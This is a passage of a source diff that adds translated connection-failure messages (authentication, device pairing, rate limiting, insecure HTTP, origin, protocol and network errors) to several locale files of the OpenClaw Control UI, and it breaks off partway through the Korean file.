insecure: { + title: "Secure browser context required", + summary: + "This page is running over plain HTTP, so the browser cannot create the device identity the Gateway expects.", + stepHttps: "Use HTTPS/Tailscale Serve, or open http://127.0.0.1:18789 on the Gateway host.", + stepLocalCompat: + "For local token-only compatibility, set gateway.controlUi.allowInsecureAuth: true.", + stepAvoidDisable: "Avoid disabling device auth for remote HTTP access.", + }, + origin: { + title: "Browser origin not allowed", + summary: + "The Gateway rejected this page origin before accepting the Control UI connection.", + stepAllowedOrigins: "Add this browser origin to gateway.controlUi.allowedOrigins.", + stepFullOrigin: "Use full origins such as http://localhost:5173, not wildcard patterns.", + stepRestart: "Restart or reload the Gateway after changing allowed origins.", + }, + protocol: { + title: "Protocol mismatch", + summary: + "The served Control UI and the running Gateway do not agree on the supported connection protocol.", + stepDashboard: + "Reopen the served dashboard with openclaw dashboard so the UI and Gateway come from the same install.", + stepDevUi: + "If using pnpm ui:dev, rebuild or restart the dev UI against the current checkout.", + stepRestart: + "Restart the Gateway after updating OpenClaw so it serves the current protocol.", + }, + network: { + title: "Could not connect", + summary: + "The browser could not complete the Gateway connection. Check the target and transport before retrying credentials.", + stepGateway: "Confirm the Gateway is running with openclaw status or openclaw gateway run.", + stepUrl: + "Check the WebSocket URL and use wss:// when the Gateway is behind HTTPS/Tailscale Serve.", + stepDashboard: + "Reopen the dashboard with openclaw dashboard --no-open to recopy the current URL and auth details.", + }, + }, }, chat: { disconnected: "Disconnected from gateway.", diff --git a/ui/src/i18n/locales/es.ts b/ui/src/i18n/locales/es.ts index 2eadd229f7b..e6b216f5dde 100644 --- a/ui/src/i18n/locales/es.ts +++ b/ui/src/i18n/locales/es.ts @@ -942,6 +942,97 @@ export const es: TranslationMap = { showPassword: "Mostrar contraseña", hidePassword: "Ocultar contraseña", togglePasswordVisibility: "Alternar visibilidad de la contraseña", + failure: { + rawError: "Error sin procesar", + docsAuth: "Documentación de autenticación de Control UI", + docsPairing: "Documentación de emparejamiento de dispositivos", + docsInsecure: "Documentación de HTTP inseguro", + authRequired: { + title: "Autenticación requerida", + summary: + "Se puede acceder al Gateway, pero necesita un token o una contraseña coincidente antes de que este navegador pueda conectarse.", + stepPaste: + "Pega el token de openclaw dashboard --no-open o introduce la contraseña configurada.", + stepGenerate: + "Si no hay token configurado, ejecuta openclaw doctor --generate-gateway-token en el host del Gateway.", + stepConnect: "Haz clic en Connect de nuevo después de actualizar la credencial.", + }, + authFailed: { + title: "La autenticación no coincide", + summary: + "La credencial proporcionada fue rechazada. La causa más común es un token obsoleto o copiado desde otra URL de Gateway.", + stepDashboard: "Ejecuta openclaw dashboard --no-open y abre la URL nueva o pega su token.", + stepReplace: + "Reemplaza valores obsoletos de token/contraseña; no reutilices un token de otra URL de Gateway.", + stepMode: + "Usa un solo modo de autenticación coincidente a la vez: token de gateway para modo token, contraseña para modo contraseña.", + }, + rateLimited: { + title: "Demasiados intentos fallidos", + summary: + "El Gateway está limitando temporalmente los intentos de autenticación de este cliente.", + stepStop: "Deja de reintentar desde esta pestaña por un momento.", + stepWait: + "Espera a que el limitador de autenticación se enfríe y vuelve a conectar con la credencial corregida.", + stepCheckClients: + "Si este es un host compartido, revisa otros clientes por reintentos incorrectos repetidos.", + }, + pairing: { + title: "Emparejamiento de dispositivo requerido", + scopeTitle: "Actualización de alcance pendiente", + roleTitle: "Actualización de rol pendiente", + metadataTitle: "Actualización del dispositivo pendiente", + summary: + "Este navegador necesita una aprobación única del host del Gateway antes de poder usar Control UI.", + upgradeSummary: + "Este navegador ya es conocido, pero el acceso solicitado cambió y necesita una aprobación nueva.", + stepList: "Ejecuta openclaw devices list en el host del Gateway.", + stepApproveId: "Aprueba esta solicitud: openclaw devices approve {requestId}.", + stepApprove: "Aprueba la solicitud pendiente de navegador/dispositivo desde esa lista.", + stepReconnect: "Vuelve a conectar después de completar la aprobación.", + }, + insecure: { + title: "Se requiere un contexto seguro del navegador", + summary: + "Esta página se está ejecutando sobre HTTP simple, por lo que el navegador no puede crear la identidad de dispositivo que espera el Gateway.", + stepHttps: + "Usa HTTPS/Tailscale Serve, o abre http://127.0.0.1:18789 en el host del Gateway.", + stepLocalCompat: + "Para compatibilidad local solo con token, establece gateway.controlUi.allowInsecureAuth: true.", + stepAvoidDisable: + "Evita desactivar la autenticación de dispositivo para acceso HTTP remoto.", + }, + origin: { + title: "Origen del navegador no permitido", + summary: + "El Gateway rechazó el origen de esta página antes de aceptar la conexión de Control UI.", + stepAllowedOrigins: "Agrega este origen del navegador a gateway.controlUi.allowedOrigins.", + stepFullOrigin: "Usa orígenes completos como http://localhost:5173, no patrones comodín.", + stepRestart: "Reinicia o recarga el Gateway después de cambiar los orígenes permitidos.", + }, + protocol: { + title: "El protocolo no coincide", + summary: + "La Control UI servida y el Gateway en ejecución no coinciden en el protocolo de conexión admitido.", + stepDashboard: + "Vuelve a abrir el dashboard servido con openclaw dashboard para que UI y Gateway provengan de la misma instalación.", + stepDevUi: + "Si usas pnpm ui:dev, reconstruye o reinicia la UI de desarrollo contra el checkout actual.", + stepRestart: + "Reinicia el Gateway después de actualizar OpenClaw para que sirva el protocolo actual.", + }, + network: { + title: "No se pudo conectar", + summary: + "El navegador no pudo completar la conexión al Gateway. Revisa el destino y el transporte antes de reintentar credenciales.", + stepGateway: + "Confirma que el Gateway esté en ejecución con openclaw status u openclaw gateway run.", + stepUrl: + "Revisa la URL de WebSocket y usa wss:// cuando el Gateway esté detrás de HTTPS/Tailscale Serve.", + stepDashboard: + "Vuelve a abrir el dashboard con openclaw dashboard --no-open para copiar la URL y los detalles de autenticación actuales.", + }, + }, }, chat: { disconnected: "Desconectado de la puerta de enlace.", diff --git a/ui/src/i18n/locales/fa.ts b/ui/src/i18n/locales/fa.ts index 5cf46b1d8b5..85081c1a2e5 100644 --- a/ui/src/i18n/locales/fa.ts +++ b/ui/src/i18n/locales/fa.ts @@ -938,6 +938,97 @@ export const fa: TranslationMap = { showPassword: "نمایش گذرواژه", hidePassword: "پنهان کردن گذرواژه", togglePasswordVisibility: "تغییر نمایش گذرواژه", + failure: { + rawError: "خطای خام", + docsAuth: "مستندات احراز هویت Control UI", + docsPairing: "مستندات جفت سازی دستگاه", + docsInsecure: "مستندات HTTP ناامن", + authRequired: { + title: "احراز هویت لازم است", + summary: + "Gateway در دسترس است، اما قبل از اتصال این مرورگر به یک توکن یا گذرواژه منطبق نیاز دارد.", + stepPaste: + "توکن openclaw dashboard --no-open را جای گذاری کنید یا گذرواژه پیکربندی شده را وارد کنید.", + stepGenerate: + "اگر توکنی پیکربندی نشده است، openclaw doctor --generate-gateway-token را روی میزبان Gateway اجرا کنید.", + stepConnect: "پس از به روز کردن اعتبارنامه، دوباره روی Connect کلیک کنید.", + }, + authFailed: { + title: "احراز هویت مطابقت نداشت", + summary: + "اعتبارنامه ارائه شده رد شد. رایج ترین علت، توکن قدیمی یا توکنی است که از URL یک Gateway دیگر کپی شده است.", + stepDashboard: + "openclaw dashboard --no-open را اجرا کنید و URL تازه را باز کنید یا توکن آن را جای گذاری کنید.", + stepReplace: + "مقادیر قدیمی توکن/گذرواژه را جایگزین کنید؛ از توکن URL یک Gateway دیگر دوباره استفاده نکنید.", + stepMode: + "هر بار فقط یک حالت احراز هویت منطبق استفاده کنید: توکن gateway برای حالت توکن، گذرواژه برای حالت گذرواژه.", + }, + rateLimited: { + title: "تلاش های ناموفق بیش از حد", + summary: "Gateway به طور موقت تلاش های احراز هویت این کلاینت را محدود می کند.", + stepStop: "برای لحظه ای از این زبانه دوباره تلاش نکنید.", + stepWait: + "صبر کنید محدودکننده احراز هویت آرام شود، سپس با اعتبارنامه اصلاح شده دوباره وصل شوید.", + stepCheckClients: + "اگر این میزبان مشترک است، کلاینت های دیگر را برای تلاش های نادرست تکراری بررسی کنید.", + }, + pairing: { + title: "جفت سازی دستگاه لازم است", + scopeTitle: "ارتقای scope در انتظار است", + roleTitle: "ارتقای نقش در انتظار است", + metadataTitle: "به روزرسانی دستگاه در انتظار است", + summary: + "این مرورگر قبل از استفاده از Control UI به تأیید یک باره از میزبان Gateway نیاز دارد.", + upgradeSummary: + "این مرورگر از قبل شناخته شده است، اما دسترسی درخواستی تغییر کرده و به تأیید تازه نیاز دارد.", + stepList: "openclaw devices list را روی میزبان Gateway اجرا کنید.", + stepApproveId: "این درخواست را تأیید کنید: openclaw devices approve {requestId}.", + stepApprove: "درخواست در انتظار مرورگر/دستگاه را از آن فهرست تأیید کنید.", + stepReconnect: "پس از تکمیل تأیید، دوباره وصل شوید.", + }, + insecure: { + title: "زمینه امن مرورگر لازم است", + summary: + "این صفحه روی HTTP ساده اجرا می شود، بنابراین مرورگر نمی تواند هویت دستگاه مورد انتظار Gateway را بسازد.", + stepHttps: + "از HTTPS/Tailscale Serve استفاده کنید یا http://127.0.0.1:18789 را روی میزبان Gateway باز کنید.", + stepLocalCompat: + "برای سازگاری محلی فقط با توکن، gateway.controlUi.allowInsecureAuth: true را تنظیم کنید.", + stepAvoidDisable: + "از غیرفعال کردن احراز هویت دستگاه برای دسترسی HTTP راه دور خودداری کنید.", + }, + origin: { + title: "مبدأ مرورگر مجاز نیست", + summary: "Gateway پیش از پذیرش اتصال Control UI، مبدأ این صفحه را رد کرد.", + stepAllowedOrigins: "این مبدأ مرورگر را به gateway.controlUi.allowedOrigins اضافه کنید.", + stepFullOrigin: + "از مبدأهای کامل مانند http://localhost:5173 استفاده کنید، نه الگوهای wildcard.", + stepRestart: "پس از تغییر مبدأهای مجاز، Gateway را دوباره راه اندازی یا بارگذاری کنید.", + }, + protocol: { + title: "عدم تطابق پروتکل", + summary: + "Control UI سرو شده و Gateway در حال اجرا درباره پروتکل اتصال پشتیبانی شده توافق ندارند.", + stepDashboard: + "داشبورد سرو شده را با openclaw dashboard دوباره باز کنید تا UI و Gateway از همان نصب باشند.", + stepDevUi: + "اگر از pnpm ui:dev استفاده می کنید، UI توسعه را بر اساس checkout فعلی دوباره بسازید یا راه اندازی کنید.", + stepRestart: + "پس از به روزرسانی OpenClaw، Gateway را دوباره راه اندازی کنید تا پروتکل فعلی را سرو کند.", + }, + network: { + title: "اتصال برقرار نشد", + summary: + "مرورگر نتوانست اتصال Gateway را کامل کند. پیش از تلاش دوباره با اعتبارنامه ها، هدف و انتقال را بررسی کنید.", + stepGateway: + "با openclaw status یا openclaw gateway run تأیید کنید که Gateway در حال اجرا است.", + stepUrl: + "URL WebSocket را بررسی کنید و وقتی Gateway پشت HTTPS/Tailscale Serve است از wss:// استفاده کنید.", + stepDashboard: + "داشبورد را با openclaw dashboard --no-open دوباره باز کنید تا URL و جزئیات احراز هویت فعلی را دوباره کپی کنید.", + }, + }, }, chat: { disconnected: "اتصال از Gateway قطع شد.", diff --git a/ui/src/i18n/locales/fr.ts b/ui/src/i18n/locales/fr.ts index 2a0502d2994..04441867fe1 100644 --- a/ui/src/i18n/locales/fr.ts +++ b/ui/src/i18n/locales/fr.ts @@ -945,6 +945,101 @@ export const fr: TranslationMap = { showPassword: "Afficher le mot de passe", hidePassword: "Masquer le mot de passe", togglePasswordVisibility: "Basculer la visibilité du mot de passe", + failure: { + rawError: "Erreur brute", + docsAuth: "Docs d’authentification Control UI", + docsPairing: "Docs d’appairage des appareils", + docsInsecure: "Docs HTTP non sécurisé", + authRequired: { + title: "Authentification requise", + summary: + "Le Gateway est joignable, mais il lui faut un jeton ou un mot de passe correspondant avant que ce navigateur puisse se connecter.", + stepPaste: + "Collez le jeton de openclaw dashboard --no-open ou saisissez le mot de passe configuré.", + stepGenerate: + "Si aucun jeton n’est configuré, exécutez openclaw doctor --generate-gateway-token sur l’hôte Gateway.", + stepConnect: "Cliquez de nouveau sur Connect après avoir mis à jour l’identifiant.", + }, + authFailed: { + title: "L’authentification ne correspond pas", + summary: + "L’identifiant fourni a été refusé. La cause la plus courante est un jeton obsolète ou copié depuis une autre URL Gateway.", + stepDashboard: + "Exécutez openclaw dashboard --no-open et ouvrez la nouvelle URL ou collez son jeton.", + stepReplace: + "Remplacez les valeurs de jeton/mot de passe obsolètes ; ne réutilisez pas un jeton provenant d’une autre URL Gateway.", + stepMode: + "Utilisez un seul mode d’authentification correspondant à la fois : jeton gateway pour le mode jeton, mot de passe pour le mode mot de passe.", + }, + rateLimited: { + title: "Trop de tentatives échouées", + summary: + "Le Gateway limite temporairement les tentatives d’authentification pour ce client.", + stepStop: "Arrêtez de réessayer depuis cet onglet pendant un moment.", + stepWait: + "Attendez que le limiteur d’authentification se calme, puis reconnectez-vous avec l’identifiant corrigé.", + stepCheckClients: + "Si cet hôte est partagé, vérifiez que d’autres clients ne répètent pas de mauvais essais.", + }, + pairing: { + title: "Appairage de l’appareil requis", + scopeTitle: "Mise à niveau de scope en attente", + roleTitle: "Mise à niveau du rôle en attente", + metadataTitle: "Actualisation de l’appareil en attente", + summary: + "Ce navigateur nécessite une approbation unique de l’hôte Gateway avant de pouvoir utiliser Control UI.", + upgradeSummary: + "Ce navigateur est déjà connu, mais l’accès demandé a changé et nécessite une nouvelle approbation.", + stepList: "Exécutez openclaw devices list sur l’hôte Gateway.", + stepApproveId: "Approuvez cette demande : openclaw devices approve {requestId}.", + stepApprove: "Approuvez la demande navigateur/appareil en attente depuis cette liste.", + stepReconnect: "Reconnectez-vous après la fin de l’approbation.", + }, + insecure: { + title: "Contexte de navigateur sécurisé requis", + summary: + "Cette page s’exécute en HTTP simple, le navigateur ne peut donc pas créer l’identité d’appareil attendue par le Gateway.", + stepHttps: + "Utilisez HTTPS/Tailscale Serve, ou ouvrez http://127.0.0.1:18789 sur l’hôte Gateway.", + stepLocalCompat: + "Pour la compatibilité locale en mode jeton uniquement, définissez gateway.controlUi.allowInsecureAuth: true.", + stepAvoidDisable: + "Évitez de désactiver l’authentification des appareils pour l’accès HTTP distant.", + }, + origin: { + title: "Origine du navigateur non autorisée", + summary: + "Le Gateway a rejeté l’origine de cette page avant d’accepter la connexion Control UI.", + stepAllowedOrigins: + "Ajoutez cette origine de navigateur à gateway.controlUi.allowedOrigins.", + stepFullOrigin: + "Utilisez des origines complètes comme http://localhost:5173, pas des motifs wildcard.", + stepRestart: + "Redémarrez ou rechargez le Gateway après avoir modifié les origines autorisées.", + }, + protocol: { + title: "Incompatibilité de protocole", + summary: + "La Control UI servie et le Gateway en cours d’exécution ne sont pas d’accord sur le protocole de connexion pris en charge.", + stepDashboard: + "Rouvrez le dashboard servi avec openclaw dashboard afin que l’UI et le Gateway viennent de la même installation.", + stepDevUi: + "Si vous utilisez pnpm ui:dev, reconstruisez ou redémarrez l’UI de développement avec le checkout actuel.", + stepRestart: + "Redémarrez le Gateway après la mise à jour d’OpenClaw afin qu’il serve le protocole actuel.", + }, + network: { + title: "Connexion impossible", + summary: + "Le navigateur n’a pas pu terminer la connexion au Gateway. Vérifiez la cible et le transport avant de réessayer les identifiants.", + stepGateway: + "Confirmez que le Gateway fonctionne avec openclaw status ou openclaw gateway run.", + stepUrl: + "Vérifiez l’URL WebSocket et utilisez wss:// lorsque le Gateway est derrière HTTPS/Tailscale Serve.", + stepDashboard: + "Rouvrez le dashboard avec openclaw dashboard --no-open pour recopier l’URL actuelle et les détails d’authentification.", + }, + }, }, chat: { disconnected: "Déconnecté du Gateway.", diff --git a/ui/src/i18n/locales/id.ts b/ui/src/i18n/locales/id.ts index bbb0ce26ec5..c45fd67bbf0 100644 --- a/ui/src/i18n/locales/id.ts +++ b/ui/src/i18n/locales/id.ts @@ -937,6 +937,95 @@ export const id: TranslationMap = { showPassword: "Tampilkan kata sandi", hidePassword: "Sembunyikan kata sandi", togglePasswordVisibility: "Alihkan visibilitas kata sandi", + failure: { + rawError: "Error mentah", + docsAuth: "Dokumentasi auth Control UI", + docsPairing: "Dokumentasi pemasangan perangkat", + docsInsecure: "Dokumentasi HTTP tidak aman", + authRequired: { + title: "Auth diperlukan", + summary: + "Gateway dapat dijangkau, tetapi memerlukan token atau kata sandi yang cocok sebelum browser ini dapat terhubung.", + stepPaste: + "Tempel token dari openclaw dashboard --no-open atau masukkan kata sandi yang dikonfigurasi.", + stepGenerate: + "Jika belum ada token yang dikonfigurasi, jalankan openclaw doctor --generate-gateway-token di host Gateway.", + stepConnect: "Klik Connect lagi setelah memperbarui kredensial.", + }, + authFailed: { + title: "Auth tidak cocok", + summary: + "Kredensial yang diberikan ditolak. Penyebab paling umum adalah token kedaluwarsa atau token yang disalin dari URL Gateway lain.", + stepDashboard: + "Jalankan openclaw dashboard --no-open lalu buka URL baru atau tempel tokennya.", + stepReplace: + "Ganti nilai token/kata sandi yang lama; jangan gunakan ulang token dari URL Gateway lain.", + stepMode: + "Gunakan satu mode auth yang cocok pada satu waktu: token gateway untuk mode token, kata sandi untuk mode kata sandi.", + }, + rateLimited: { + title: "Terlalu banyak percobaan gagal", + summary: "Gateway sementara membatasi percobaan autentikasi untuk klien ini.", + stepStop: "Berhenti mencoba ulang dari tab ini sebentar.", + stepWait: + "Tunggu pembatas auth mereda, lalu hubungkan ulang dengan kredensial yang sudah diperbaiki.", + stepCheckClients: + "Jika ini host bersama, periksa klien lain yang terus mencoba dengan kredensial salah.", + }, + pairing: { + title: "Pemasangan perangkat diperlukan", + scopeTitle: "Peningkatan scope tertunda", + roleTitle: "Peningkatan peran tertunda", + metadataTitle: "Penyegaran perangkat tertunda", + summary: + "Browser ini memerlukan persetujuan satu kali dari host Gateway sebelum dapat menggunakan Control UI.", + upgradeSummary: + "Browser ini sudah dikenal, tetapi akses yang diminta berubah dan memerlukan persetujuan baru.", + stepList: "Jalankan openclaw devices list di host Gateway.", + stepApproveId: "Setujui permintaan ini: openclaw devices approve {requestId}.", + stepApprove: "Setujui permintaan browser/perangkat yang tertunda dari daftar tersebut.", + stepReconnect: "Hubungkan ulang setelah persetujuan selesai.", + }, + insecure: { + title: "Konteks browser aman diperlukan", + summary: + "Halaman ini berjalan melalui HTTP biasa, sehingga browser tidak dapat membuat identitas perangkat yang diharapkan Gateway.", + stepHttps: + "Gunakan HTTPS/Tailscale Serve, atau buka http://127.0.0.1:18789 di host Gateway.", + stepLocalCompat: + "Untuk kompatibilitas lokal hanya-token, setel gateway.controlUi.allowInsecureAuth: true.", + stepAvoidDisable: "Hindari menonaktifkan auth perangkat untuk akses HTTP jarak jauh.", + }, + origin: { + title: "Origin browser tidak diizinkan", + summary: "Gateway menolak origin halaman ini sebelum menerima koneksi Control UI.", + stepAllowedOrigins: "Tambahkan origin browser ini ke gateway.controlUi.allowedOrigins.", + stepFullOrigin: + "Gunakan origin lengkap seperti http://localhost:5173, bukan pola wildcard.", + stepRestart: "Mulai ulang atau muat ulang Gateway setelah mengubah origin yang diizinkan.", + }, + protocol: { + title: "Protokol tidak cocok", + summary: + "Control UI yang disajikan dan Gateway yang berjalan tidak sepakat tentang protokol koneksi yang didukung.", + stepDashboard: + "Buka kembali dashboard yang disajikan dengan openclaw dashboard agar UI dan Gateway berasal dari instalasi yang sama.", + stepDevUi: + "Jika menggunakan pnpm ui:dev, bangun ulang atau mulai ulang UI dev terhadap checkout saat ini.", + stepRestart: + "Mulai ulang Gateway setelah memperbarui OpenClaw agar menyajikan protokol saat ini.", + }, + network: { + title: "Tidak dapat terhubung", + summary: + "Browser tidak dapat menyelesaikan koneksi Gateway. Periksa target dan transport sebelum mencoba ulang kredensial.", + stepGateway: "Pastikan Gateway berjalan dengan openclaw status atau openclaw gateway run.", + stepUrl: + "Periksa URL WebSocket dan gunakan wss:// saat Gateway berada di belakang HTTPS/Tailscale Serve.", + stepDashboard: + "Buka kembali dashboard dengan openclaw dashboard --no-open untuk menyalin ulang URL dan detail auth saat ini.", + }, + }, }, chat: { disconnected: "Terputus dari gateway.", diff --git a/ui/src/i18n/locales/it.ts b/ui/src/i18n/locales/it.ts index b868b18fe7f..9b5fc0e7203 100644 --- a/ui/src/i18n/locales/it.ts +++ b/ui/src/i18n/locales/it.ts @@ -942,6 +942,98 @@ export const it: TranslationMap = { showPassword: "Mostra password", hidePassword: "Nascondi password", togglePasswordVisibility: "Attiva/disattiva visibilità password", + failure: { + rawError: "Errore grezzo", + docsAuth: "Documentazione auth di Control UI", + docsPairing: "Documentazione associazione dispositivo", + docsInsecure: "Documentazione HTTP non sicuro", + authRequired: { + title: "Autenticazione richiesta", + summary: + "Il Gateway è raggiungibile, ma richiede un token o una password corrispondente prima che questo browser possa connettersi.", + stepPaste: + "Incolla il token da openclaw dashboard --no-open oppure inserisci la password configurata.", + stepGenerate: + "Se non è configurato alcun token, esegui openclaw doctor --generate-gateway-token sull’host Gateway.", + stepConnect: "Fai clic di nuovo su Connect dopo aver aggiornato la credenziale.", + }, + authFailed: { + title: "L’autenticazione non corrisponde", + summary: + "La credenziale fornita è stata rifiutata. La causa più comune è un token obsoleto o copiato da un altro URL Gateway.", + stepDashboard: + "Esegui openclaw dashboard --no-open e apri il nuovo URL oppure incolla il suo token.", + stepReplace: + "Sostituisci i valori token/password obsoleti; non riutilizzare un token da un altro URL Gateway.", + stepMode: + "Usa un solo modo auth corrispondente alla volta: token gateway per il modo token, password per il modo password.", + }, + rateLimited: { + title: "Troppi tentativi non riusciti", + summary: + "Il Gateway sta limitando temporaneamente i tentativi di autenticazione per questo client.", + stepStop: "Interrompi per un momento i tentativi da questa scheda.", + stepWait: + "Attendi che il limitatore auth si raffreddi, poi riconnettiti con la credenziale corretta.", + stepCheckClients: + "Se questo host è condiviso, controlla altri client per ripetuti tentativi errati.", + }, + pairing: { + title: "Associazione dispositivo richiesta", + scopeTitle: "Aggiornamento dello scope in sospeso", + roleTitle: "Aggiornamento del ruolo in sospeso", + metadataTitle: "Aggiornamento dispositivo in sospeso", + summary: + "Questo browser richiede un’approvazione una tantum dall’host Gateway prima di poter usare Control UI.", + upgradeSummary: + "Questo browser è già noto, ma l’accesso richiesto è cambiato e richiede una nuova approvazione.", + stepList: "Esegui openclaw devices list sull’host Gateway.", + stepApproveId: "Approva questa richiesta: openclaw devices approve {requestId}.", + stepApprove: "Approva la richiesta browser/dispositivo in sospeso da quell’elenco.", + stepReconnect: "Riconnettiti al termine dell’approvazione.", + }, + insecure: { + title: "Contesto browser sicuro richiesto", + summary: + "Questa pagina è in esecuzione su HTTP semplice, quindi il browser non può creare l’identità dispositivo attesa dal Gateway.", + stepHttps: + "Usa HTTPS/Tailscale Serve, oppure apri http://127.0.0.1:18789 sull’host Gateway.", + stepLocalCompat: + "Per la compatibilità locale solo-token, imposta gateway.controlUi.allowInsecureAuth: true.", + stepAvoidDisable: "Evita di disabilitare l’auth dispositivo per accesso HTTP remoto.", + }, + origin: { + title: "Origine del browser non consentita", + summary: + "Il Gateway ha rifiutato l’origine di questa pagina prima di accettare la connessione Control UI.", + stepAllowedOrigins: + "Aggiungi questa origine del browser a gateway.controlUi.allowedOrigins.", + stepFullOrigin: "Usa origini complete come http://localhost:5173, non pattern wildcard.", + stepRestart: "Riavvia o ricarica il Gateway dopo aver modificato le origini consentite.", + }, + protocol: { + title: "Protocollo non corrispondente", + summary: + "La Control UI servita e il Gateway in esecuzione non concordano sul protocollo di connessione supportato.", + stepDashboard: + "Riapri il dashboard servito con openclaw dashboard in modo che UI e Gateway provengano dalla stessa installazione.", + stepDevUi: + "Se usi pnpm ui:dev, ricompila o riavvia la UI di sviluppo contro il checkout corrente.", + stepRestart: + "Riavvia il Gateway dopo aver aggiornato OpenClaw affinché serva il protocollo corrente.", + }, + network: { + title: "Impossibile connettersi", + summary: + "Il browser non è riuscito a completare la connessione al Gateway. Controlla destinazione e trasporto prima di riprovare le credenziali.", + stepGateway: + "Conferma che il Gateway sia in esecuzione con openclaw status o openclaw gateway run.", + stepUrl: + "Controlla l’URL WebSocket e usa wss:// quando il Gateway è dietro HTTPS/Tailscale Serve.", + stepDashboard: + "Riapri il dashboard con openclaw dashboard --no-open per ricopiare l’URL corrente e i dettagli auth.", + }, + }, }, chat: { disconnected: "Disconnesso dal gateway.", diff --git a/ui/src/i18n/locales/ja-JP.ts b/ui/src/i18n/locales/ja-JP.ts index 36b0ea2397b..d9faee6c358 100644 --- a/ui/src/i18n/locales/ja-JP.ts +++ b/ui/src/i18n/locales/ja-JP.ts @@ -940,6 +940,96 @@ export const ja_JP: TranslationMap = { showPassword: "パスワードを表示", hidePassword: "パスワードを非表示", togglePasswordVisibility: "パスワードの表示/非表示を切り替え", + failure: { + rawError: "生のエラー", + docsAuth: "Control UI 認証ドキュメント", + docsPairing: "デバイスペアリングのドキュメント", + docsInsecure: "安全でない HTTP のドキュメント", + authRequired: { + title: "認証が必要です", + summary: + "Gateway には到達できますが、このブラウザーが接続する前に一致するトークンまたはパスワードが必要です。", + stepPaste: + "openclaw dashboard --no-open のトークンを貼り付けるか、構成済みのパスワードを入力します。", + stepGenerate: + "トークンが構成されていない場合は、Gateway ホストで openclaw doctor --generate-gateway-token を実行します。", + stepConnect: "認証情報を更新したら、もう一度 Connect をクリックします。", + }, + authFailed: { + title: "認証が一致しません", + summary: + "指定された認証情報は拒否されました。最も一般的な原因は、古いトークン、または別の Gateway URL からコピーしたトークンです。", + stepDashboard: + "openclaw dashboard --no-open を実行し、新しい URL を開くか、そのトークンを貼り付けます。", + stepReplace: + "古いトークン/パスワード値を置き換えてください。別の Gateway URL のトークンは再利用しないでください。", + stepMode: + "一致する認証モードを一度に 1 つだけ使用します。トークンモードでは gateway token、パスワードモードではパスワードを使います。", + }, + rateLimited: { + title: "失敗した試行が多すぎます", + summary: "Gateway はこのクライアントの認証試行を一時的に制限しています。", + stepStop: "このタブからの再試行をしばらく停止します。", + stepWait: "認証リミッターが落ち着くのを待ってから、修正した認証情報で再接続します。", + stepCheckClients: + "共有ホストの場合は、他のクライアントが誤った再試行を繰り返していないか確認します。", + }, + pairing: { + title: "デバイスペアリングが必要です", + scopeTitle: "スコープのアップグレードが保留中です", + roleTitle: "ロールのアップグレードが保留中です", + metadataTitle: "デバイス更新が保留中です", + summary: + "このブラウザーで Control UI を使用するには、Gateway ホストからの一度限りの承認が必要です。", + upgradeSummary: + "このブラウザーは既に認識されていますが、要求されたアクセスが変わったため、新しい承認が必要です。", + stepList: "Gateway ホストで openclaw devices list を実行します。", + stepApproveId: "このリクエストを承認します: openclaw devices approve {requestId}.", + stepApprove: "その一覧から保留中のブラウザー/デバイスリクエストを承認します。", + stepReconnect: "承認が完了したら再接続します。", + }, + insecure: { + title: "安全なブラウザーコンテキストが必要です", + summary: + "このページは通常の HTTP で実行されているため、ブラウザーは Gateway が期待するデバイス ID を作成できません。", + stepHttps: + "HTTPS/Tailscale Serve を使用するか、Gateway ホストで http://127.0.0.1:18789 を開きます。", + stepLocalCompat: + "ローカルのトークンのみの互換性には、gateway.controlUi.allowInsecureAuth: true を設定します。", + stepAvoidDisable: + "リモート HTTP アクセスのためにデバイス認証を無効にすることは避けてください。", + }, + origin: { + title: "ブラウザーオリジンは許可されていません", + summary: "Gateway は Control UI 接続を受け入れる前に、このページのオリジンを拒否しました。", + stepAllowedOrigins: + "このブラウザーオリジンを gateway.controlUi.allowedOrigins に追加します。", + stepFullOrigin: + "http://localhost:5173 のような完全なオリジンを使用し、ワイルドカードパターンは使わないでください。", + stepRestart: "許可オリジンを変更した後、Gateway を再起動または再読み込みします。", + }, + protocol: { + title: "プロトコルが一致しません", + summary: + "提供された Control UI と実行中の Gateway で、サポートされる接続プロトコルが一致していません。", + stepDashboard: + "openclaw dashboard で提供元の dashboard を開き直し、UI と Gateway が同じインストールから来るようにします。", + stepDevUi: + "pnpm ui:dev を使用している場合は、現在の checkout に対して開発 UI を再ビルドまたは再起動します。", + stepRestart: "OpenClaw 更新後に Gateway を再起動し、現在のプロトコルを提供させます。", + }, + network: { + title: "接続できません", + summary: + "ブラウザーは Gateway 接続を完了できませんでした。認証情報を再試行する前に、ターゲットとトランスポートを確認してください。", + stepGateway: + "openclaw status または openclaw gateway run で Gateway が実行中であることを確認します。", + stepUrl: + "WebSocket URL を確認し、Gateway が HTTPS/Tailscale Serve の背後にある場合は wss:// を使用します。", + stepDashboard: + "openclaw dashboard --no-open で dashboard を開き直し、現在の URL と認証詳細を再コピーします。", + }, + }, }, chat: { disconnected: "Gateway から切断されました。", diff --git a/ui/src/i18n/locales/ko.ts b/ui/src/i18n/locales/ko.ts index d3af872091c..ee2e95faa08 100644 --- a/ui/src/i18n/locales/ko.ts +++ b/ui/src/i18n/locales/ko.ts @@ -933,6 +933,93 @@ export const ko: TranslationMap = { showPassword: "비밀번호 표시", hidePassword: "비밀번호 숨기기", togglePasswordVisibility: "비밀번호 표시 여부 전환", + failure: { + rawError: "원시 오류", + docsAuth: "Control UI 인증 문서", + docsPairing: "장치 페어링 문서", + docsInsecure: "안전하지 않은 HTTP 문서", + authRequired: { + title: "인증 필요", + summary: + "Gateway에 연결할 수 있지만 이 브라우저가 연결되기 전에 일치하는 토큰 또는 비밀번호가 필요합니다.", + stepPaste: "openclaw dashboard --no-open의 토큰을 붙여넣거나 구성된 비밀번호를 입력하세요.", + stepGenerate: + "토큰이 구성되어 있지 않으면 Gateway 호스트에서 openclaw doctor --generate-gateway-token을 실행하세요.", + stepConnect: "자격 증명을 업데이트한 뒤 Connect를 다시 클릭하세요.", + }, + authFailed: { + title: "인증이 일치하지 않음", + summary: + "제공한 자격 증명이 거부되었습니다. 가장 흔한 원인은 오래된 토큰이거나 다른 Gateway URL에서 복사한 토큰입니다.", + stepDashboard: + "openclaw dashboard --no-open을 실행하고 새 URL을 열거나 해당 토큰을 붙여넣으세요.", + stepReplace: + "오래된 토큰/비밀번호 값을 교체하세요. 다른 Gateway URL의 토큰을 재사용하지 마세요.", + stepMode: + "한 번에 하나의 일치하는 인증 모드만 사용하세요. 토큰 모드에는 gateway token, 비밀번호 모드에는 비밀번호를 사용합니다.", + }, + rateLimited: { + title: 